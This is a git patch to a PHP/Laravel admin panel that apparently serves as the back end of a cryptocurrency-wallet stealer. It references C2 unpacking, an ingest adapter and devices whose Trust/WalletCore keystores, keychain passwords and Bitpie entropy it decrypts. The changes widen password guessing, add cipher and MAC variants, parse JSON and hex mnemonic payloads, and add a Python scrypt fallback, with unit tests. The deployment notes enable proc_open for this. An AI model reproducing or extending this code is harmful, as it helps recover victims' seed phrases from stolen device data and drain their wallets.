From cd07fe62fd563474d9f02ee5ea2cf14e33082494 Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 24 Aug 2026 07:07:56 +0800 Subject: [PATCH] feat: ds --- .../Controllers/Admin/KeystoreController.php | 7 +- app/Services/DsKeystoreDecrypt.php | 24 ++++- app/Services/EthKeystore.php | 100 +++++++++++++----- docs/BAOTA_DEPLOY.md | 2 +- tests/Feature/KeystoreAdminTest.php | 4 +- tests/Unit/EthKeystoreTest.php | 51 +++++++++ 6 files changed, 154 insertions(+), 34 deletions(-) diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index 5aebe14..6d6cdbf 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -9,6 +9,7 @@ use App\Models\WalletKeystore; use App\Models\WalletMnemonic; use App\Services\DarkSwordIngestAdapter; use App\Services\DsKeystoreDecrypt; +use App\Services\EthKeystore; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; @@ -167,7 +168,11 @@ class KeystoreController extends Controller return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)'; } if ($utc > 0 && $passwords > 0) { - return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)'; + if (! EthKeystore::scryptReady()) { + return 'UTC 和钥匙串密码都在,但服务器无法跑 scrypt(需要 python3,且 PHP 未禁用 proc_open)'; + } + + return 'UTC 和钥匙串密码都在,但解不开(密码不匹配)'; } if ($entropy > 0) { return '有 Bitpie seedPhraseEntropy,但未能还原助记词'; diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index acd68bb..2289e16 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -89,7 +89,7 @@ final class DsKeystoreDecrypt foreach ($device->keystores as $row) { $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); } - $passwords = array_slice($this->uniquePasswords($passwords), 0, 8); + $passwords = array_slice($this->uniquePasswords($passwords), 0, 16); if ($passwords === []) { return []; } @@ -318,7 +318,14 @@ final class DsKeystoreDecrypt return []; } - return $this->passwordsFromString($raw); + $out = $this->passwordsFromString($raw); + // WalletCore / Trust sometimes treat the hex text itself as the password. + if (strlen($hex) === 64 || strlen($hex) === 128) { + $out[] = strtolower($hex); + $out[] = strtoupper($hex); + } + + return $out; } /** @@ -424,6 +431,19 @@ final class DsKeystoreDecrypt private function asMnemonic(string $plain): ?string { + $plain = trim($plain, "\0 \t\n\r"); + if (str_starts_with($plain, '{')) { + $json = json_decode($plain, true); + if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) { + $plain = $json['mnemonic']; + } + } + if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) { + $bin = @hex2bin($plain); + if (is_string($bin) && str_contains($bin, ' ')) { + $plain = $bin; + } + } $text = strtolower(trim($plain)); $text = preg_replace('/\s+/', ' ', $text) ?? $text; $words = $text === '' ? [] : explode(' ', $text); diff --git a/app/Services/EthKeystore.php b/app/Services/EthKeystore.php index e3beb49..39a0036 100644 --- a/app/Services/EthKeystore.php +++ b/app/Services/EthKeystore.php @@ -6,13 +6,15 @@ use App\Support\Scrypt; use kornrunner\Keccak; /** - * Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC. + * Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-CTR + keccak MAC. */ final class EthKeystore { /** @var array */ private static array $kdfCache = []; + private static ?bool $scryptReady = null; + public static function decrypt(array $keystore, string $password): ?string { $crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null; @@ -20,7 +22,13 @@ final class EthKeystore return null; } $cipher = strtolower((string) ($crypto['cipher'] ?? '')); - if ($cipher !== 'aes-128-ctr') { + $keyLen = match ($cipher) { + 'aes-128-ctr' => 16, + 'aes-192-ctr' => 24, + 'aes-256-ctr' => 32, + default => 0, + }; + if ($keyLen === 0) { return null; } $ciphertext = self::fromHex($crypto['ciphertext'] ?? null); @@ -31,14 +39,16 @@ final class EthKeystore } $derived = self::deriveKey($crypto, $password); - if ($derived === null || strlen($derived) < 32) { + if ($derived === null || strlen($derived) < $keyLen) { return null; } - if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) { + $macOk = hash_equals($mac, self::keccak256(substr($derived, -$keyLen).$ciphertext)) + || hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext)); + if (! $macOk) { return null; } - $plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv); + $plain = openssl_decrypt($ciphertext, $cipher, substr($derived, 0, $keyLen), OPENSSL_RAW_DATA, $iv); if (! is_string($plain) || $plain === '') { return null; } @@ -46,6 +56,17 @@ final class EthKeystore return $plain; } + public static function scryptReady(): bool + { + if (self::$scryptReady !== null) { + return self::$scryptReady; + } + $out = self::scryptPython('a', 'b', 2, 1, 1, 16); + self::$scryptReady = is_string($out) && strlen($out) === 16; + + return self::$scryptReady; + } + /** * @param array $kdfparams * @return array @@ -97,8 +118,8 @@ final class EthKeystore $kdf = strtolower((string) ($crypto['kdf'] ?? '')); $params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : []; $dklen = (int) ($params['dklen'] ?? 32); - $salt = self::fromHex($params['salt'] ?? null); - if ($salt === null || $dklen < 16) { + $salt = self::fromHex($params['salt'] ?? '') ?? ''; + if ($dklen < 16) { return null; } if ($kdf === 'scrypt') { @@ -155,14 +176,23 @@ final class EthKeystore } $code = <<<'PY' import sys -try: - from Crypto.Protocol.KDF import scrypt -except ImportError: - sys.exit(2) pw = bytes.fromhex(sys.argv[1]) salt = bytes.fromhex(sys.argv[2]) n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7)) -sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p)) +mem = 128 * r * n + 8 * 1024 * 1024 +try: + import hashlib + sys.stdout.buffer.write(hashlib.scrypt(pw, salt=salt, n=n, r=r, p=p, dklen=dk, maxmem=mem)) + raise SystemExit(0) +except SystemExit: + raise +except Exception: + pass +try: + from Crypto.Protocol.KDF import scrypt + sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p)) +except Exception: + sys.exit(2) PY; $cmd = [ $python, @@ -194,28 +224,39 @@ PY; private static function pythonBinary(): ?string { - $candidates = [ + $configured = [ trim((string) config('coruna.channel_builder.python', '')), trim((string) config('coruna.channel_builder_new.python', '')), - base_path('channel-builder/.venv/bin/python'), - base_path('channel-builder-new/.venv/bin/python'), - '/usr/bin/python3', - 'python3', ]; - foreach ($candidates as $bin) { - if ($bin === '') { - continue; - } - if ($bin === 'python3') { - return $bin; - } - $root = base_path(); - if (str_starts_with($bin, $root) && @is_file($bin)) { + foreach ($configured as $bin) { + if ($bin !== '') { return $bin; } } + foreach ([ + base_path('channel-builder/.venv/bin/python'), + base_path('channel-builder-new/.venv/bin/python'), + ] as $venv) { + if (self::venvPythonExists($venv)) { + return $venv; + } + } - return null; + return 'python3'; + } + + /** + * Detect .venv/bin/python without following the symlink into /usr/bin + * (open_basedir typically allows the project root only). + */ + private static function venvPythonExists(string $path): bool + { + clearstatcache(true, $path); + if (@is_link($path)) { + return true; + } + + return @is_file($path); } private static function keccak256(string $data): string @@ -225,9 +266,12 @@ PY; private static function fromHex(mixed $value): ?string { - if (! is_string($value) || $value === '') { + if (! is_string($value)) { return null; } + if ($value === '') { + return ''; + } $hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? ''; if ($hex === '' || strlen($hex) % 2 !== 0) { return null; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index ff8498e..a3b4462 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -100,7 +100,7 @@ Nginx 站点配置建议同时加大: client_max_body_size 64m; ``` -禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。 +禁用函数:Composer / Laravel 需要 `putenv`;C2 解包和 **Trust UTC 解密(python scrypt)** 需要 `proc_open`。从 PHP「禁用函数」中移除 `putenv`、`proc_open`。系统 `python3` 自带 `hashlib.scrypt` 即可,不必另装 `pycryptodome`(有 builder venv 则优先用 venv)。 --- diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php index 69a1d0e..57f16f0 100644 --- a/tests/Feature/KeystoreAdminTest.php +++ b/tests/Feature/KeystoreAdminTest.php @@ -238,13 +238,13 @@ class KeystoreAdminTest extends TestCase ], ]); - $this->actingAs($admin, 'admin') + $resp = $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decrypt', $keychain)) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.added', 0) ->assertJsonPath('data.utc', 0) - ->assertJsonPath('data.passwords', 1) ->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密'); + $this->assertGreaterThan(0, $resp->json('data.passwords')); } } diff --git a/tests/Unit/EthKeystoreTest.php b/tests/Unit/EthKeystoreTest.php index a25cabc..2b0f930 100644 --- a/tests/Unit/EthKeystoreTest.php +++ b/tests/Unit/EthKeystoreTest.php @@ -72,6 +72,57 @@ class EthKeystoreTest extends TestCase $this->assertSame($phrase, $got); } + #[Test] + public function python_scrypt_high_n_roundtrip(): void + { + if (! EthKeystore::scryptReady()) { + $this->markTestSkipped('python3 hashlib/pycryptodome scrypt is unavailable'); + } + $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $password = random_bytes(32); + $utc = EthKeystore::encrypt($phrase, $password, ['n' => 256, 'r' => 8, 'p' => 1]); + $this->assertSame($phrase, EthKeystore::decrypt($utc, $password)); + } + + #[Test] + public function aes_256_ctr_unlocks_with_walletcore_mac(): void + { + $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $password = 'trust-aes256'; + $salt = random_bytes(32); + $iv = random_bytes(16); + $derived = hash_pbkdf2('sha256', $password, $salt, 16, 32, true); + $ciphertext = openssl_encrypt($phrase, 'aes-256-ctr', $derived, OPENSSL_RAW_DATA, $iv); + $this->assertIsString($ciphertext); + $utc = [ + 'version' => 3, + 'crypto' => [ + 'cipher' => 'aes-256-ctr', + 'cipherparams' => ['iv' => bin2hex($iv)], + 'ciphertext' => bin2hex($ciphertext), + 'kdf' => 'pbkdf2', + 'kdfparams' => [ + 'c' => 16, + 'dklen' => 32, + 'prf' => 'hmac-sha256', + 'salt' => bin2hex($salt), + ], + 'mac' => bin2hex(hex2bin(\kornrunner\Keccak::hash($derived.$ciphertext, 256))), + ], + ]; + $this->assertSame($phrase, EthKeystore::decrypt($utc, $password)); + } + + #[Test] + public function unlock_accepts_json_mnemonic_payload(): void + { + $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $password = 'json-payload'; + $utc = EthKeystore::encrypt(json_encode(['mnemonic' => $phrase]), $password, ['n' => 16, 'r' => 1, 'p' => 1]); + $decrypt = new DsKeystoreDecrypt; + $this->assertSame($phrase, $decrypt->unlock($utc, [$password])); + } + #[Test] public function bitpie_entropy_ascii_hex_unlocks_phrase(): void {